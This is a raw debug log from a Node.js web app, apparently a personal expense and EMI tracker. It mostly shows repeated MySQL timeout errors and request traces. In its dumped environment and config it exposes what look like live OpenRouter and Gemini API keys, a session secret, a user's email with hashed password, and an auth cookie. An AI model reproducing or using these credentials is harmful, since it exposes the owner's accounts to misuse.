    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 15:50:40' as DATETIME)"
}
2026-03-04T15:52:44.425Z server-connect:router Serving templateView /
2026-03-04T15:52:44.425Z server-connect:app Executing action step identify
2026-03-04T15:52:44.425Z server-connect:app options: { provider: 'security' }
2026-03-04T15:52:44.425Z server-connect:auth No login cookie found
2026-03-04T15:52:44.425Z server-connect:output identity: false
2026-03-04T15:52:44.425Z server-connect:app Executing action step restrict
2026-03-04T15:52:44.425Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-04T15:52:44.426Z server-connect:output restrict: undefined
2026-03-04T15:52:44.560Z server-connect:router Serving templateView /login
2026-03-04T15:52:44.561Z server-connect:app Executing action step identify
2026-03-04T15:52:44.561Z server-connect:app options: { provider: 'security' }
2026-03-04T15:52:44.561Z server-connect:auth No login cookie found
2026-03-04T15:52:44.561Z server-connect:output identity: false
2026-03-04T15:52:44.561Z server-connect:router Render template layouts/authentication
2026-03-04T15:52:44.562Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.31.13.227',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-05T15:52:44.560Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.31.13.227',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.31.13.227',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-04T16:13:52.914Z server-connect:router Serving templateView /
2026-03-04T16:13:52.915Z server-connect:app Executing action step identify
2026-03-04T16:13:52.915Z server-connect:app options: { provider: 'security' }
2026-03-04T16:13:52.915Z server-connect:auth No login cookie found
2026-03-04T16:13:52.915Z server-connect:output identity: false
2026-03-04T16:13:52.915Z server-connect:app Executing action step restrict
2026-03-04T16:13:52.915Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-04T16:13:52.915Z server-connect:output restrict: undefined
2026-03-04T16:13:53.053Z server-connect:router Serving templateView /login
2026-03-04T16:13:53.054Z server-connect:app Executing action step identify
2026-03-04T16:13:53.054Z server-connect:app options: { provider: 'security' }
2026-03-04T16:13:53.054Z server-connect:auth No login cookie found
2026-03-04T16:13:53.054Z server-connect:output identity: false
2026-03-04T16:13:53.054Z server-connect:router Render template layouts/authentication
2026-03-04T16:13:53.054Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.121.156.86',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-05T16:13:53.053Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.121.156.86',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.121.156.86',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 18:43:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 18:43:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 21:05:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 21:05:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 22:37:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 22:37:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 23:41:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 23:41:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-05 00:33:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-05 00:33:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-05 03:50:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-05 03:50:41' as DATETIME)"
}
2026-03-05T05:11:35.164Z server-connect:router Serving templateView /
2026-03-05T05:11:35.165Z server-connect:app Executing action step identify
2026-03-05T05:11:35.165Z server-connect:app options: { provider: 'security' }
2026-03-05T05:11:35.211Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-05T05:11:35.213Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-05T05:11:35.257Z server-connect:output identity: 1
2026-03-05T05:11:35.257Z server-connect:app Executing action step restrict
2026-03-05T05:11:35.257Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T05:11:35.258Z server-connect:output restrict: undefined
2026-03-05T05:11:35.258Z server-connect:app Executing action step restrict
2026-03-05T05:11:35.258Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T05:11:35.258Z server-connect:output restrict: undefined
2026-03-05T05:11:35.258Z server-connect:router Render template layouts/main
2026-03-05T05:11:35.258Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T05:11:35.163Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-05T05:11:38.401Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-03-05T05:11:42.553Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-03-05T05:11:43.418Z server-connect:setup:upload Upload middleware configured.
2026-03-05T05:11:43.419Z server-connect:secure CSRF Protection initialized
2026-03-05T05:11:43.424Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-03-05T05:11:43.424Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-03-05T05:11:43.428Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-03-05T05:11:43.428Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-03-05T05:11:43.435Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-03-05T05:11:43.441Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-03-05T05:11:43.453Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-03-05T05:11:43.466Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-03-05T05:11:43.470Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-03-05T05:11:43.472Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-03-05T05:11:43.473Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-03-05T05:11:43.477Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-03-05T05:11:43.483Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-03-05T05:11:43.494Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-03-05T05:11:43.497Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-03-05T05:11:43.570Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-03-05T05:11:43.570Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-03-05T05:11:43.576Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-03-05T05:11:43.582Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-03-05T05:11:43.584Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-03-05T05:11:43.587Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-03-05T05:11:43.595Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-03-05T05:11:43.596Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-03-05T05:11:43.602Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-03-05T05:11:43.604Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-03-05T05:11:43.609Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-03-05T05:11:43.610Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-03-05T05:11:43.612Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-03-05T05:11:43.618Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
